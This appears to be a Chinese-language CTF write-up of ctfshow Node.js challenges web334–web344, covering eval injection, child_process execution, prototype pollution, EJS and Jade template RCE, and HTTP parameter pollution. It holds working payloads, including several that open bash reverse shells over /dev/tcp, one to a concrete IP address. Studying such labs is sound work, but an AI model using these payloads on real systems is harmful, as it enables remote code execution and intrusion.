NodeJS
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境,可以让你用 JavaScript 来编写服务器端的代码。它提供了一个事件驱动的非阻塞 I/O 模型,使其轻量又高效,非常适合在分布式设备上运行的数据密集型实时应用。Node.js 的包管理器 npm 也是非常强大和活跃的,拥有大量的开源包可以让开发者快速构建应用。
web334 express框架初探
下载源代码,是两个js文件。
login.js:
1 | var express = require('express'); //引入express框架 |
user.js:
1 | module.exports = { |
这段代码定义了一个简单的模块,导出一个包含一个用户对象的数组。每个用户对象包含 username 和 password 属性。这个模块的作用是提供一个用户数据源,用于在认证接口中查找用户信息。与之前的代码关系是,认证接口中的 findUser 函数使用了这个模块导出的 items 数组作为用户数据源。在认证时,会根据传入的用户名和密码在这个数组中查找匹配的用户对象。如果找到匹配的用户对象,就认为认证成功,否则认证失败。
这里读完了代码,发现是用户名uppercase后需要和CTFSHOW
一致,用户名又不能等于CTFSHOW
,密码就是123456
。直接用户名全小写后加入密码即可。
Express框架 路由器对象
路由器对象在 Express 中用于定义和管理应用的路由。路由器对象可以看作是一个中间件(middleware),用于处理特定路径下的 HTTP 请求。在 Express 中,路由器对象可以使用 express.Router() 方法创建。
通过路由器对象,可以将不同路径下的请求分发到不同的处理函数中,实现更好的代码组织和维护。例如,可以将所有与用户相关的请求(如登录、注册、个人信息等)分发到一个用户路由器对象中,将与商品相关的请求分发到另一个商品路由器对象中,以此类推。
路由器对象的基本用法是使用 router.METHOD() 方法(其中 METHOD 是 HTTP 请求方法,如 GET、POST、PUT、DELETE 等)定义路由,并指定对应的处理函数。例如,router.get(‘/‘, function(req, res) { … }) 定义了一个处理 GET 请求的路由。
最后,将路由器对象通过 module.exports 导出,以便在应用的主文件中使用 app.use() 方法将路由器对象挂载到应用的特定路径上,使得该路由器对象能够处理该路径下的请求。
web335 nodejs eval
f12看源代码,发现了提示:/?eval=
。
在 Node.js 中,eval() 函数用于将传入的字符串当作 JavaScript 代码来执行。它接受一个字符串参数,然后将这个字符串作为 JavaScript 代码在当前作用域中执行。eval() 函数可以动态地执行代码,这意味着可以在运行时构建代码字符串,并通过 eval() 函数执行。
1 | ?eval=equire("child_process").execSync('ls') |
使用了child_process
下的execSync
来创建子进程。用exec()
时会出现无回显的情况。
execSync 是同步执行命令的方法,会阻塞 Node.js 事件循环,直到命令执行完成才会继续执行后续代码。因此,在执行长时间运行的命令时,会导致 Node.js 应用程序无法响应其他事件。
exec 是异步执行命令的方法,不会阻塞事件循环,而是在命令执行完成后通过回调函数来处理结果。因此,推荐在大多数情况下使用 exec 方法,以避免阻塞事件循环。
web336 nodejs 全局变量 __filename函数等
直接用上一道题的payload不行。
nodejs全局变量
在 Node.js 中,__filename 和 __dirname 是两个特殊的全局变量,用于获取当前文件的文件名和所在目录的绝对路径。
__filename
:表示当前文件的绝对路径,包括文件名。__dirname
:表示当前文件所在目录的绝对路径,不包括文件名。
除了
__filename
和__dirname
,Node.js 还提供了一些其他的全局变量,其中一些是常见的 Node.js 环境下特有的,可以在任何地方直接使用。以下是一些常见的全局变量:
global
:全局对象,类似于浏览器环境中的window
对象。在任何地方都可以使用,用于定义全局变量和函数。process
:表示当前 Node.js 进程的全局对象,可以通过它来获取进程信息、设置环境变量等。console
:用于在控制台输出信息的全局对象,可以使用console.log()
、console.error()
等方法输出信息。Buffer
:用于处理二进制数据的全局对象,可以用来创建Buffer
对象,处理文件、网络数据等。
除了以上几个常见的全局变量外,还有一些其他的全局变量,如setTimeout
、setInterval
、require
等,它们也可以在任何地方直接使用。
首先使用/?eval=__filename
看一下路径,发现是/app/routes/index.js
。
然后读文件。eval=require('fs').readFileSync('/app/routes/index.js')
,读取出/app/routes/index.js
。
找个在线工具美化一下。
1 | var express = require('express'); |
一看,evalstring.search(/exec|load/i) > 0)
屏蔽了exec和load的大小写。
换一种:
nodejs child_process执行命令的函数
- exec(command[, options][, callback]):异步执行一个 shell 命令,通过回调函数处理结果。与 execSync 不同,这个方法不会阻塞事件循环。
- execFile(file[, args][, options][, callback]):类似于 exec,但是直接执行一个可执行文件而不是通过 shell。这个方法更加高效,因为不需要启动一个新的 shell 进程。
- spawn(command[, args][, options]):以流的形式启动一个子进程来执行命令,可以方便地处理命令的输入和输出。适用于需要交互式地处理子进程的情况。
- fork(modulePath[, args][, options]):衍生一个新的 Node.js 进程,并在其中执行指定的模块。与 spawn 不同的是,fork 方法创建的子进程是一个独立的 Node.js 进程,可以方便地进行进程间通信。
同时,exec和spawn有
- execSync()
- spawnSync()
fork没有。
最后得到payload:/?eval=require('child_process').spawnSync('ls').stdout.toString()
其中,.stdout.toString()
将命令的标准输出转换为字符串。
web337 nodejs 拼接特性 md5数组绕过
得到提示:
1 | var express = require('express'); |
看wp,提到nodejs的拼接特性:
nodejs 拼接
1 | console.log(5+[6,6]); //56,6 |
得到payload:
1 | ?a[:]=2&b[:]=2 |
在这里内部不能用括号。因为:
1 | a={'x':'1'} |
web338 原型链污染 express框架
源码 login.js:
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
common.js:
1 | function copy(object1, object2){ |
nodejs 原型链污染
Node.js 中的原型链污染是一种安全漏洞,可以被恶意利用来修改目标对象的原型,从而影响目标对象的行为。这种漏洞通常发生在未正确验证用户输入的情况下,导致恶意用户能够修改目标对象的原型,从而执行恶意代码或者获取敏感信息。
在 JavaScript 中,每个对象都有一个原型(prototype),它是一个指向另一个对象或 null 的内部链接。当我们访问一个对象的属性或方法时,如果该对象本身没有这个属性或方法,JavaScript 引擎会沿着原型链向上查找,直到找到匹配的属性或方法,或者到达原型链的末端(即原型为 null)为止。
在 Node.js 中,原型和原型链的概念与浏览器中的 JavaScript 相同。Node.js 本质上是基于 V8 引擎的 JavaScript 运行环境,因此继承了 JavaScript 的原型继承机制。Node.js 的原型链是由 JavaScript 引擎实现的,用于继承对象的属性和方法,实现了对象之间的原型继承关系。例如,Node.js 中的 Buffer 对象就是通过原型链继承了 Uint8Array 对象的方法和属性。
__proto__
是每个 JavaScript 对象都具有的属性,它指向该对象的原型(prototype)。通过__proto__
属性,可以访问和操作对象的原型链。虽然__proto__
在早期的 JavaScript 规范中被称为内部属性,不建议直接使用,但在实际开发中它仍然被广泛使用。
在现代 JavaScript 中,推荐使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法来访问和设置对象的原型,而不是直接使用
__proto__
属性。这是因为__proto__
属性在一些 JavaScript 引擎中可能会被优化或实现不同,可能会导致不确定的行为。因此,为了代码的可靠性和可读性,最好使用标准的方法来操作对象的原型链。
在这道题中,secert.ctfshow
是不存在的。所以会沿着原型链向上查找,直到找到匹配的属性或方法。这里抓包改包。
1 | {"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}} |
让user
的原型__proto__
有了属性。
在 JavaScript 中,
__proto__
属性是用来访问和设置对象的原型的。当你将__proto__
设置为一个包含键值对的对象时,这些键值对会被添加到对象的原型链中,而不是直接添加到对象本身。这意味着,如果你设置了__proto__
属性为{"ctfshow":"36dboy"}
,并且尝试访问对象的ctfshow
属性,JavaScript 引擎会沿着原型链向上查找,直到找到ctfshow
属性为止。
在这种情况下,
__proto__
属性会让原型链上多出一个属性,即对象的原型对象(Object.prototype
)上的ctfshow
属性。这意味着,如果对象本身没有ctfshow
属性,但是它的原型链上有一个ctfshow
属性,那么你仍然可以通过对象来访问这个属性。
学习链接:深入理解JavaScript原型链污染
1 | 以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可: |
web339 原型链污染 RCE和反弹shell
这道题相比上题加入了一个api.js
:
1 | /* GET home page. */ |
看wp,漏洞点是Function
里的query
变量没有被引用,从而可以通过原型链污染进行rce。
一旦进行了原型链污染,所有的对象都会被影响。所以这道题如果做错了需要重启环境,做错了很多次,非常头痛。
payload:
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1\"')"}} |
使用了global.process.mainModule.constructor._load('child_process').exec()
,实际上和require('child_process').exec()
是一个函数。
先将payload POST至/login
,然后POST/api
即可命令执行。因为回显只能显示一次,所以这里反弹shell。
web340 原型链污染 向上污染两级
login.js改成这样了:
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
这里是copy
到了user.userinfo
,而不是直接copy
到user
里,从而像上一题的payload那样造成user.query
的RCE。
这题需要向上污染两级:
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1\"')"}}} |
这样就能污染到query
了。
web341 ejs漏洞rce
app.js中有:
1 | var ejs = require('ejs'); |
学习了一番,出现了类似原型链污染+命令拼接的漏洞。
1 | prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; |
这样就能构造这样的payload,跟上道题一样,也是要污染两层。
1 | {"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/vps_port 0>&1 \"'); __tmp2"}}} |
web342 jade漏洞rce
继续学习了一番,然后直接网上偷了个payload:
1 | {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/82.156.125.203/9999 0>&1\"');//"}}} |
web343 jade漏洞rce
看wp说是跟上题差不多,就没写
web344 HPP
给了源码提示:
1 | router.get('/', function(req, res, next) { |
尝试简单的使用?query={"name":"admin","password":"ctfshow","isVIP":true}
,发现不行,因为正则匹配了逗号,%2c也是逗号。
HPP(HTTP Parameter Pollution): HPP数据污染
HPP(HTTP Parameter Pollution)是一种攻击方式,通过在 HTTP 请求中重复传递相同的参数名,或者传递一个参数名对应多个数值的方式,来欺骗服务器,从而导致服务器解析请求参数时出现错误,可能导致安全漏洞。
HPP 攻击的目的通常是绕过服务器端对参数的验证或过滤,达到执行未授权操作、绕过访问控制、篡改数据等攻击目的。攻击者可以通过修改请求中的参数顺序或值,混淆服务器端对参数的处理,导致服务器误解请求,从而执行恶意操作。
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
双引号的url编码是%22
,和c
连接起来就是%22c
,会匹配到正则表达式。
构造payload:
1 | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |
动态调试验证HPP
1 | var express = require('express'); |
打断点看,在获取到get参数后,req.query.query
确实如上面,变成了
1 | Array(3) [{"name":"admin", |
该数组被JSON.parse()
后,就变成了一个对象。
JSON.parse 会将参数转为 string,[“str1”, “str2”].toString() === “str1,str2” 于是可以绕过 ,(2c)。
1 | { |
从而成功得到flag。